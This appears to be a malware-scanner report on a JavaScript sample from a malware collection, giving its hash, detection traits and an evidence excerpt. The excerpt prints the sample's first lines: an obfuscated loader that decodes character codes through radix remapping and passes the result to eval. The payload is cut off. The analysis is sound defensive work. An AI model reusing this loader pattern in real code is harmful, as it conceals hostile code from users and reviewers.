Suspicious ^80% javascript-malware-collection Download

20151208_090e3c5bf64ee7a0bb4f1422346bf0dc.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256908b4106331c27b40e804f2bed745eeed71f256e0b3b51ee8e68851d6ac06b25

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var flcVsKyAneepn=[];for(DWDSaEA=(-881+881)/966;DWDSaEA<(45167+145)/354;DWDSaEA++){flcVsKyAneepn[DWDSaEA]=String.fromCharCode(DWDSaEA)}function cmCaN(WPxXCwFEbot,KjUhKyAaFFSUb,QhobOFrj){sYvU=parseInt(WPxXCwFEbot,KjUhKyAaFFSUb);dajJc=sYvU.toString(QhobOFrj);return dajJc;}function MnvIgezKdnIYWEx(liWkCyQrhLkKpGSzG){eval(liWkCyQrhLkKpGSzG)}
2function aFOnhOLpebaeGRIpFKVkEFFYETKoglcdbiUPUkcjSsFRuEucVxVDgj(NRQXyXMrXzXFt,IswsYNKjjNdwGy){ return flcVsKyAneepn[cmCaN(NRQXyXMrXzXFt[IswsYNKjjNdwGy],(4008+132)/414,(3699+751)/445)];}
3function vSvqFOT(EveityPfRzqQvIwLOgENZmFlACVPpAFbaNQI) {return !isNaN(parseFloat(EveityPfRzqQvIwLOgENZmFlACVPpAFbaNQI)) && isFinite(EveityPfRzqQvIwLOgENZmFlACVPpAFbaNQI);}
4function OjFczZrCUyM(YXraHSNu,fVNFWK){return YXraHSNu.split(fVNFWK)}
5var M=[];M.push("13");M.push("10");M.push("13");M.push("10");M.push("118");M.push("97");M.push("114");M.push("32");M. …